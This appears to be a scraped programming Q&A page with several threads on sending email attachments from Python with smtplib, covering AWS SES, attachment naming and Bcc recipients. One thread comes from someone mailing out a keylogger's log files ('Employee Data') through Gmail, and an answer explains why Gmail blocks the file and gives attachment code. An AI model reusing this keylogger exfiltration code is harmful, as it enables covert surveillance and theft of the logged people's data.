smtplib with AWS SES could not send emails with attachments - python

I use AWS SES to send emails from my instance - it works when I send just messages, but when files are attached to emails, it could not send and just gets pending.
It works when I do it from a local system, but from AWS.
I'm wondering what happens when a file is attached to an email - is there somethings in AWS blocking it - or I need to use something different from smptlib of email?
I use the script below:
subject = 'xx'
body = "xx"
sender_email = "xx#gmail.com" `#this email address is confirmed in aws`
user = "xxxxx" #ses username
receiver_email = 'xxx#gmail.com' `#this email address is confirmed in aws`
password = 'xxxxx' # ses password
message = MIMEMultipart()
message["From"] = formataddr(('name', 'xxx#gmail.com'))
message["To"] = receiver_email
message["Subject"] = subject
# Add attachment to message and convert message to string
message.attach(MIMEText(body, "plain"))
filename = 'sdf.txt' #the file that will be sent.
with open(filename, "rb") as attachment:
## Add file as application/octet-stream
# Email client can usually download this automatically as attachment
part = MIMEBase("application", "octet-stream")
part.set_payload(attachment.read())
# Encode file in ASCII characters to send by email
encoders.encode_base64(part)
part.add_header(
"Content-Disposition",
f"attachment; filename= {filename}",
)
message.attach(part)
text = message.as_string()
# Log in to server using secure context and send email
context = ssl.create_default_context()
try:
with smtplib.SMTP_SSL("email-smtp.us-east-1.amazonaws.com", 465, context=context ) as server:
server.login(user, password)
server.sendmail(sender_email, receiver_email, text)
server.close()
except smtplib.SMTPException as e:
print("Error: ", e)

I modified the script, below - now it works nicely either with/without attachments in aws.
msg = MIMEMultipart()
body_part = MIMEText('xxxx', 'plain')
msg['Subject'] = 'xxx'
msg['From'] = formataddr(('xxxx', 'xxx#gmail.com'))
msg['To'] = 'xxx#gmail.com'
# Add body to email
msg.attach(body_part)
# open and read the file in binary
with open(path ,'rb') as file:
# Attach the file with filename to the email
msg.attach(MIMEApplication(file.read(), Name='xxx'))
# Create SMTP object
smtp_obj = smtplib.SMTP_SSL("email-smtp.us-east-1.amazonaws.com", 465)
# Login to the server
user = "xxx"
# Replace smtp_password with your Amazon SES SMTP password.
password = 'xxx'
smtp_obj.login(user, password)
# Convert the message to a string and send it
smtp_obj.sendmail(msg['From'], msg['To'], msg.as_string())
smtp_obj.quit()

Related

smtplib email file attachment is being defaulted to 'noname'

I am trying to automate some email sending with python and the smtplib library. Currently, it sends the email fine and attaches the file, but the file does not keep the name that I set.
#The body and the attachments for the mail
message.attach(MIMEText(mail_content, 'plain'))
attach_file_name = 'temp.txt'
attach_file = open(attach_file_name, 'rb') # Open the file as binary mode
payload = MIMEBase('application', 'octate-stream')
payload.set_payload((attach_file).read())
encoders.encode_base64(payload) #encode the attachment
#add payload header with filename
payload.add_header('Content-Decomposition', 'attachment', filename=attach_file_name)
message.attach(payload)
#Create SMTP session for sending the mail
session = smtplib.SMTP('-----', 587) #custom domain
session.starttls() #enable security
session.login(sender_address, sender_pass) #login with mail_id and password
text = message.as_string()
session.sendmail(sender_address, receiver_address, text)
session.quit()
print('Mail Sent')
The above code should set the attachment file name to "temp.txt" I believe, but it defaults to "noname" in the inbox that it is sent to.
I found a solution using MIMEApplication - it correctly names the attachment.
attach_file_name = 'Test.pdf'
attach_file=MIMEApplication(open(attach_file_name,"rb").read())
attach_file.add_header('Content-Disposition', 'attachment', filename=attach_file_name)
message.attach(attach_file)

Send multiple mails hiding recipent in Python

How can I send multiple mails with a hidden recipient?
I can currently send mails, but people who receive it can see the recipient.
My code looks like this:
import smtplib
from email.message import EmailMessage
email_subject = "Good morning"
sender_email_address = "user#outlook.com"
receivers_email_address = ['reciever1#gmail.com', 'reciever2#gmail.com']
email_smtp = "smtp.office365.com"
email_password = "MyPassword"
# Create an email message object
message = EmailMessage()
# Configure email headers
message['Subject'] = email_subject
message['From'] = sender_email_address
message['To'] = ", ".join(receivers_email_address)
# Read file containing html
with open('message.html', 'r') as file:
file_content = file.read()
# Add message content as html type
message.set_content(file_content, subtype='html')
# Set smtp server and port
server = smtplib.SMTP(email_smtp, '587')
# Identify this client to the SMTP server
server.ehlo()
# Secure the SMTP connection
server.starttls()
# Login to email account
server.login(sender_email_address, email_password)
# Send email
server.send_message(message)
# Close connection to server
server.quit()
You don't need to send multiple messages. Just don't put the recipients explicitly in the headers.
The following implements this by putting the recipients in the Bcc: header.
import smtplib
from email.message import EmailMessage
email_subject = "Good morning"
sender_email_address = "user#outlook.com"
receivers_email_address = ['reciever1#gmail.com', 'reciever2#gmail.com']
email_smtp = "smtp.office365.com"
email_password = "MyPassword"
message = EmailMessage()
message['Subject'] = email_subject
message['From'] = sender_email_address
# The message needs to have a To: header
# - putting yourself is an old convention
message['To'] = sender_email_address
message['Bcc'] = ",".join(receivers_email_address)
with open('message.html', 'r') as file:
file_content = file.read()
message.set_content(file_content, subtype='html')
with smtplib.SMTP(email_smtp, '587') as server:
server.ehlo()
server.starttls()
server.login(sender_email_address, email_password)
server.send_message(message)
server.quit()
Of course, if you really need to To: header to indicate the actual recipient, you will need to generate a unique message for each of them.
This relies on the SMTP server to read and strip off the Bcc: header. If you can't rely on yours to do that, you can explicitly use the legacy sendmail method of the smtplib module, which lets you explicitly pass in the list of actual recipients separately from the message. Then you can also avoid the pesky copy to yourself.
To briefly recap, SMTP doesn't really care what's in the To: or Cc: headers; the actual list of recipients is communicated separately, before you submit the actual message. This is called the SMTP envelope.
I made a loop to send individually. Instead of sending it to multiple people in a group.
import smtplib
from email.message import EmailMessage
email_subject = "Good morning"
sender_email_address = "user#outlook.com"
receivers_email_address = ['reciever1#gmail.com', 'reciever2#gmail.com']
email_smtp = "smtp.office365.com"
email_password = "MyPassword"
# Read file containing html
with open('message.html', 'r') as file:
file_content = file.read()
# Set smtp server and port
server = smtplib.SMTP(email_smtp, '587')
# Identify this client to the SMTP server
server.ehlo()
# Secure the SMTP connection
server.starttls()
# Login to email account
server.login(sender_email_address, email_password)
# Send email
for receiver in receivers_email_address:
# Create an email message object
message = EmailMessage()
message['Subject'] = email_subject
message['From'] = sender_email_address
message['To'] = receiver
# Add message content as html type
message.set_content(file_content, subtype='html')
server.send_message(message)
# Close connection to server
server.quit()

How to send data from a python file to a database

Please I want to send data from these python files to my database. How do I go about it?
the following file path saves data from this keylogger, which is sent an email using the smtp library.
File_path = "******" # file path files are saved to
extend = "\\"
file_merge = file_path + extend
which is sent an email using the smtp library.
'''
def send_email(system_information, filename, attachment, toaddr):
fromaddr = email_address
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Log File"
body = "EMployee Data"
msg.attach(MIMEText(body, 'plain'))
filename = filename
attachment = open(attachment, 'rb')
p = MIMEBase('application', 'octet-stream')
p.set_payload(attachment.read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(p)
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login(fromaddr, password)
text = msg.as_string()
s.sendmail(fromaddr, toaddr, text)
s.quit()
'''
but google is blocking the mails saying its "content presents a potential\n5.7.0 security issue"
therefore I want to now create database with a table I can now send the data to instead of the mail
The error content presents a potential\n5.7.0 security issue shows
that it has not supported file you are using
Please check here File types blocked in gmail. Files those are mentioned in the url which are not acceptable to send using SMTP mail
I have used below code to send a file using python
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
mail_content = '''Hello,
#The mail addresses and password
sender_address = 'sender#gmail.com'
sender_pass = 'xxxxxxxx'
receiver_address = 'receiver#gmail.com'
#Setup the MIME
message = MIMEMultipart()
message['From'] = sender_address
message['To'] = receiver_address
message['Subject'] = 'A test mail sent by Python. It has an attachment.'
#The subject line
#The body and the attachments for the mail
message.attach(MIMEText(mail_content, 'plain'))
attach_file_name = 'test.pdf' #
attach_file = open(attach_file_name, 'rb')
#Open the file as binary mode
payload = MIMEBase('application', 'octate-stream')
payload.set_payload((attach_file).read())
encoders.encode_base64(payload)
#encode the attachment
#add payload header with filename
payload.add_header('Content-Decomposition', 'attachment', filename=attach_file_name)
message.attach(payload)
#Create SMTP session for sending the mail
#use gmail with port
session = smtplib.SMTP('smtp.gmail.com', 587)
#enable security
session.starttls()
#login with mail_id and password
session.login(sender_address, sender_pass)
text = message.as_string()
session.sendmail(sender_address, receiver_address, text)
session.quit()
print('Mail Sent')
Refer here

Email sending without attachment - Python 3.8

I want to send a .txt file attached to the mail in Python.
Currently the mail is received but without any attachment.
Code bellow
I've sent emails in PHP but Python is completely new to me
The code doesn't return any errors, it simply doesn't send the attachment with the email
with smtplib.SMTP('smtp.gmail.com', 587) as smtp:
server = smtplib.SMTP('smtp.gmail.com', 587)
smtp.ehlo()
smtp.starttls()
smtp.ehlo()
msg = MIMEMultipart()
smtp.login(EMAIL_ADRESS, EMAIL_PASSWORD)
subject = 'Log Register'
filename = 'logs-to-h4wtsh0wt.txt'
attachment = open(filename, 'rb')
part = MIMEBase('application', 'octet-stream')
part.set_payload(attachment.read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= "+filename)
msg.attach(part)
msg = f'Subject: {subject}\n\n{Body}'
smtp.sendmail(EMAIL_ADRESS,EMAIL_ADRESS, msg)
snakecharmerb is right. You are indeed overriding the message object and therefore losing everything you add before that point.
You can instead set the subject like this:
msg['Subject'] = "Subject of the Mail"
# string to store the body of the mail
body = "Body_of_the_mail"
# attach the body with the msg instance
msg.attach(MIMEText(body, 'plain'))
Because you are attaching a file you will also need to convert the multipart message into a string before sending:
text = msg.as_string()
smtp.sendmail(fromaddr, toaddr, text)
When you created msg with MIMEMultipart() it generated the message object structure for you as per RFC2822 which also gives you FROM, TO, etc.
The msg object also has a bunch of functions you can run outlined in its docs

How to send python code output over email?

I have an output of df['sentiments'] as sentiment output of twitter tweets. I want to mail that sentiment output over email to another person automatically.
Store it in a file using df['sentiments'].to_csv('sentiment.csv'). And send the file sentiment.csv via mail.
More details about to_csv function can be found here in the official docs.
EDIT: Expanding the answer for the sake of making it less troublesome. Credits for this part
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
mail_content = '''Sample message'''
#The mail addresses and password
sender_address = 'sender#gmail.com'
sender_pass = 'xxxxxxxxxxx'
receiver_address = 'receiver#gmail.com'
#Setup the MIME
message = MIMEMultipart()
message['From'] = sender_address
message['To'] = receiver_address
message['Subject'] = 'A test mail sent by Python. It has an attachment.'
#The body and the attachments for the mail
message.attach(MIMEText(mail_content, 'plain'))
filename = "database.txt" #- Attach the sentiment.csv and metadata file here
# Open PDF file in binary mode
with open(filename, "rb") as attachment:
# Add file as application/octet-stream
# Email client can usually download this automatically as attachment
part = MIMEBase("application", "octet-stream")
part.set_payload(attachment.read())
# Encode file in ASCII characters to send by email
encoders.encode_base64(part)
# Add header as key/value pair to attachment part
part.add_header(
"Content-Disposition",
f"attachment; filename= {filename}",
)
# Add attachment to message and convert message to string
message.attach(part)
#Create SMTP session for sending the mail
session = smtplib.SMTP('smtp.gmail.com', 587) #use gmail with port
session.ehlo()
session.starttls() #enable security
session.login(sender_address, sender_pass) #login with mail_id and password
text = message.as_string()
session.sendmail(sender_address, receiver_address, text)
session.quit()
print('Mail Sent')
If you get an error as follows:
(535, b'5.7.8 Username and Password not accepted. Learn more at\n5.7.8 https://support.google.com/mail/?p=BadCredentials y186sm1525057pfy.66 - gsmtp')
Follow this thread
You can use the python built in library smtplib:
https://docs.python.org/3/library/smtplib.html to send emails.
You can use, for example the GMAIL mail server to send it.
https://www.tutorialspoint.com/send-mail-from-your-gmail-account-using-python

Categories

Resources